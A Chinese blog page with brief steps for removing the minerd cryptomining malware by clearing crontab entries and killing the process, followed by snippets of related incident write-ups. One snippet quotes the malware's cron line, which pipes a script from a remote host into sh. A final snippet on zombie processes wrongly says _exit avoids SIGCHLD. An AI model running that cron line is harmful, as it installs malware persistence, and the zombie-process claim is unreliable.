清除minerd进程的方法

最新推荐文章于 2025-03-11 19:44:06 发布

「已注销」

最新推荐文章于 2025-03-11 19:44:06 发布

阅读量480

点赞数

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/oMiracle123/article/details/53581518

本文介绍了一种清除minerd进程的方法，首先通过crontab-e命令移除不需要的定时任务，然后使用top命令找到并结束minerd进程，以此避免其再次出现。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

清除minerd进程的方法
先去crontab -e 清除不是你的 定时器计划
然后 top 找倒minerd进程
清除 然后就不会再出现啦

查看原文：http://newmiracle.cn/?p=643

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

「已注销」

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

记录一次电脑被入侵用来挖矿的过程（Trojan、Miner、Hack、turminoob）

Huanzhi_Lin的博客

01-05

5893

Trojan turminoob、hack、miner、挖矿、木马

Linux清除木马minerd

骆驼大笨笨

08-02

1万+

minerd是什么今天突然发现cup使用率一直都很高，高达100%，查看后发现多了minerd这个进程，将其kill掉后，过一会还是存在步骤： 1.删除定时任务的内容 crontab -e 将“/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”删除 2.删除minerd文件[root@iZ28rvl9qn3Z ~]

参与评论您还未登录，请先登录后发表或查看评论

清除minerd进程的简单方法

09-15

下面小编就为大家带来一篇清除minerd进程的简单方法。小编觉得挺不错的，现在就分享给大家，也给大家做个参考。一起跟随小编过来看看吧

linux minerd 进程,linux中了minerd之后的完全清理过程(详解)

weixin_35930255的博客

04-29

324

一不小心装了一个Redis服务，开了一个全网的默认端口，一开始以为这台服务器没有公网ip，结果发现之后悔之莫及啊某天发现cpu load高的出奇，发现一个minerd进程占了大量cpu，google了一下，发现自己中招了下面就是清理过程第一步1.立即停止redis服务，修改端口权限，增加密码措施2.按照网上的资料删除 crontab 里的两个内容sudo rm /var/spool/cron/...

minerd和wnTKYg进程（病毒）--被攻击CPU占用率达到100%

sylalak123的博客

01-08

549

今天登录服务器感觉服务器特别的慢。结果查看发现有两个进程占用CPU100%了，一个是minerd一个是wnTKYg。如果大家遇到请小心。查看服务器各个程序占用资源量 [root@iZ2zeayj54m6qs0689jm ~]# top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND ...

linux中了minerd之后完全清理过程

qiushi888的专栏

08-08

3397

一不小心装了一个redis服务，开了一个全网的默认端口，一开始以为这台服务器没有公网ip，结果发现之后悔之莫及啊某天发现cpu load高的出奇，发现一个minerd进程占了大量cpu，google了一下，发现自己中招了第一步 1.立即停止redis服务，修改端口权限，增加密码措施 2.按照网上的资料删除 crontab 里的两个内容 sudo rm

linux top下的 minerd 木马清除方法

01-10

最近一段时间，总是有人反映公司的一台测试服务器...于是，按照常规方法，首先ps -ef|grep minerd 看这个进程的详情，发现这个进程，执行的是/opt/minerd 的命令。于是，删除这个命令，并kill -9 杀掉相应的进程。

一次 minerd 肉鸡木马的排查思路

weixin_43770745的博客

08-29

1051

备注：根据 ps 查询结果显示 minerd 有向域名 xmr.crypto-pool.fr 进行数据通信，通过 ping 测试域名解析核实此域名对应的 IP 地址，然后在 ip.taobao.com 进行查询显示 IP 为法国的 IP，然后通过 iftop -i eth1 -PB 命令对流量进行了监控，确实存在向法国的 IP 发送数据的情况，为了避免再次被入侵，可以通过 iptables 屏蔽对应的异常 IP（具体的 IP 和域名要根据实际查询的情况而定，可能会有所不同）。...

SystemMiner挖矿病毒处理记录

萧洋

02-16

636

SystemMiner挖矿病毒处理记录

挖矿病毒的处理

AI全栈和 IT 编程相关分享

10-24

1917

挖矿病毒的处理

top查看cpu占用进程100% xmrigMiner进程

热门推荐

Hu_wen的专栏

07-14

5万+

今天一早过来，运维同事发现服务器的负载有点异常，打开top一看，发现有个进程一直占用很高的cpu 在opt目录下发现有个异常文件，是个命令文件minerd 在确定跟项目不相关的情况下判断是个木马程序，果断kill掉进程，然后删除/opt下minerd文件本想这样可以解决，谁想不到15秒时间，又自动启动起来，而且文件又自动创建，这个让我想起了crontab的定时器，果然运维同

阿里云服务器中招挖矿病毒XMrig miner解决方法

Starbme_2018的博客

03-18

1万+

今天阿里云的项目经理给我打电话问我的服务器是否没有使用计划，确实自从上次中毒后就没再使用。今天登录阿里云服务器 WindowsServer2012 远程桌面，发现XMrig miner.exe cpu进程占用高达80%以上，cpu总占用达到99%，查了下时间是昨天十点开始进程占用率奇高的，因此我知道头痛的事情又来了：挖矿病毒又回来了。。。查了一下告警信息，如下：该告警由如下引擎检测发现：...

服务器后台自动运行程序和停止

miner_zhu的博客

07-31

1万+

后台运行命令如何后台运行python程序。关键的命令：nohup 只需要输入下面的命令就可以在后台一直执行python程序啦 nohup python -u test.py > test.log 2>&1 & 这条命令的意思是，执行test.py程序，并把程序中执行的情况记录到test.log文件中，包括程序异常、程序中打印的信息等。 -u选项表示每...

以太坊源码之Miner启动过程分析

u010304442的博客

03-21

1317

之前已经撸过了以太坊的交易池启动和交易池数据维护部分的源码。交易池中的交易数据全部由矿工进行验证，打包，进行工作量证明后加入主链。接下来就撸一撸以太坊Miner模块的源码，先从Miner的启动开始解读代码。老规矩，先来介绍一下miner模块几个关键的结构体，如下： type Miner struct { mux *event.TypeMux // 事件锁，已被feed.mu.lock替...

阿里云服务器被挖矿程序minerd入侵的终极解决办法

Java高知社区

01-06

4万+

突然发现阿里云服务器CPU很高，执行 top 一看，有个进程minerd尽然占用了200%多的CPU, 百度了一下，查到几篇文章都有人遇到同样问题，解决的办法：http://blog.youkuaiyun.com/hu_wen/article/details/51908597 但我去查看启动的服务，尽然没有 lady 这个服务。找不到根源，那个minerd进程删掉就又起来了，后来想了个临时办法，先停掉

linux掌握消除僵尸进程的方法

06-12

在Linux系统中，僵尸进程是指已经完成执行任务，但其父进程还没有处理其终止状态的进程。这些进程会一直占用系统资源，直到其父进程处理完其终止状态或被强制杀死。以下是消除僵尸进程的方法： 1. 父进程调用wait或waitpid等等函数，来等待子进程的退出，同时处理子进程的退出状态。 2. 父进程捕获SIGCHLD信号，在信号处理函数中调用waitpid函数来处理子进程的退出状态。 3. 在创建子进程时，使用signal函数将SIGCHLD信号的处理方式设置为SIG_IGN，这样当子进程退出时，内核会自动回收其资源，不会产生僵尸进程。 4. 在创建子进程时，使用fork函数的返回值来判断子进程是否创建成功，如果创建失败，可以使用相关函数进行错误处理，避免产生僵尸进程。 5. 在编写程序时，注意在子进程中使用_exit函数来退出，而不是exit函数，因为_exit函数不会触发父进程的SIGCHLD信号，避免产生僵尸进程。总之，消除僵尸进程的方法主要是通过处理子进程的退出状态，避免其一直占用系统资源。以上是一些常见的方法，但具体的应用场景和实现方式需要根据实际情况进行选择。